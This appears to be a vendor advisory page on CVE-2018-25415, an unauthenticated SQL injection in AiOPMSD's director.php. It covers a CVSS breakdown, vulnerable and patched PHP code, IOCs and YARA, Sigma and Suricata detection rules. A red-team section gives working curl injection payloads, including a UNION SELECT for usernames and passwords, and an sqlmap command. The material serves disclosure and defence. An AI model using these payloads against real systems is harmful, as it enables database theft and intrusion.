CVE-2018-25415
Executive Summary
CVE-2018-25415 is a critical SQL injection vulnerability in AiOPMSD Final 1.0.0, an open-source project management system. The flaw resides in the director parameter of director.php, allowing unauthenticated attackers to execute arbitrary SQL queries via crafted GET requests. This enables extraction of sensitive database information such as usernames, database names, and version details. With a CVSS score of 8.2, the vulnerability poses a high risk to confidentiality, integrity, and availability. No official patch has been released, and the vendor (Aiopmsd) has not addressed the issue. Public proof-of-concept (PoC) code exists, making active exploitation likely.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – impact confined to vulnerable component.
- Confidentiality Impact: High (C:H) – full database read access.
- Integrity Impact: High (I:H) – potential data modification.
- Availability Impact: High (A:H) – possible denial of service via SQL manipulation.
Threat Level: Critical due to unauthenticated remote exploitation, public PoC, and lack of patch.
Deep Dive & Mechanics
The vulnerability exists in director.php, which processes the director GET parameter without proper sanitization or parameterized queries. The application directly concatenates user input into SQL statements, allowing attackers to inject arbitrary SQL commands.
Vulnerable Code Snippet (Conceptual):
$director = $_GET['director'];
$query = "SELECT * FROM users WHERE director = '$director'";
$result = mysqli_query($conn, $query);
Exploitation Mechanics:
- An attacker sends a GET request to
director.php?director=' OR '1'='1. - The SQL query becomes:
SELECT * FROM users WHERE director = '' OR '1'='1'. - This returns all rows from the
userstable, bypassing authentication or extracting data. - More advanced payloads can use UNION-based injection to retrieve arbitrary data, e.g.,
' UNION SELECT username, password FROM admin--.
Impact:
- Unauthorized access to user credentials.
- Extraction of database schema and version.
- Potential privilege escalation or data exfiltration.
Vulnerable vs. Patched Code
Vulnerable Code:
$director = $_GET['director'];
$query = "SELECT * FROM users WHERE director = '$director'";
$result = mysqli_query($conn, $query);
Patched Code (Recommended):
$director = $_GET['director'];
$stmt = $conn->prepare("SELECT * FROM users WHERE director = ?");
$stmt->bind_param("s", $director);
$stmt->execute();
$result = $stmt->get_result();
The patched version uses prepared statements with parameterized queries, preventing SQL injection by separating SQL logic from user input.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install AiOPMSD Final 1.0.0 on a local server (e.g., XAMPP, LAMP).
- Ensure
director.phpis accessible.
Exploitation Steps:
- Basic Injection:
curl "http://target/director.php?director=' OR '1'='1" - Union-Based Extraction:
curl "http://target/director.php?director=' UNION SELECT username,password FROM users--" - Database Version:
curl "http://target/director.php?director=' UNION SELECT @@version,2--"
Automated Exploitation:
- Use SQLMap:
sqlmap -u "http://target/director.php?director=1" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor web server logs for suspicious GET requests to
director.phpcontaining SQL keywords (UNION,SELECT,OR,--). - Deploy WAF rules to block SQL injection patterns.
Mitigation:
- Apply input validation and parameterized queries (see patched code).
- Restrict database user permissions to least privilege.
- Use a Web Application Firewall (WAF) with SQL injection signatures.
Indicators of Compromise (IOCs)
- Network IOCs:
- GET requests to
/director.php?director=containing SQL keywords. - Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
- GET requests to
- File IOCs:
- Modified
director.phpfile (if attacker uploads webshell). - Suspicious entries in web server access logs (e.g.,
' OR '1'='1).
- Modified
- System IOCs:
- Unexpected database queries or high load on database server.
- New user accounts or modified data in the application.
Detection Engineering
YARA Rule
rule CVE_2018_25415_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2018-25415"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2018-25415"
strings:
$s1 = "director.php?director=" nocase
$s2 = "' OR " nocase
$s3 = "UNION SELECT" nocase
$s4 = "1=1" nocase
condition:
any of ($s*) and #s1 > 0
}
Sigma Rule
title: SQL Injection Attempt on director.php
id: 8f2a3b4c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects SQL injection attempts targeting CVE-2018-25415
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/director.php'
cs-uri-query|contains:
- "' OR "
- "UNION SELECT"
- "1=1"
condition: selection
falsepositives:
- Legitimate use of special characters in input
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2018-25415 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/director.php"; http_uri; content:"director="; http_uri; pcre:"/(\x27 OR |UNION SELECT|1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove
director.phpif not essential. - Apply input validation and parameterized queries (see patched code).
- Restrict database user permissions to read-only where possible.
- Disable or remove
Long-Term Fix:
- Upgrade to a patched version if available (none currently).
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Conduct regular security audits and code reviews.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Monitor logs for suspicious activity.
Compromise Assessment:
- Check for unauthorized data access or modifications.
- Review database logs for unusual queries.
Valters IT
Securing Digital Frontiers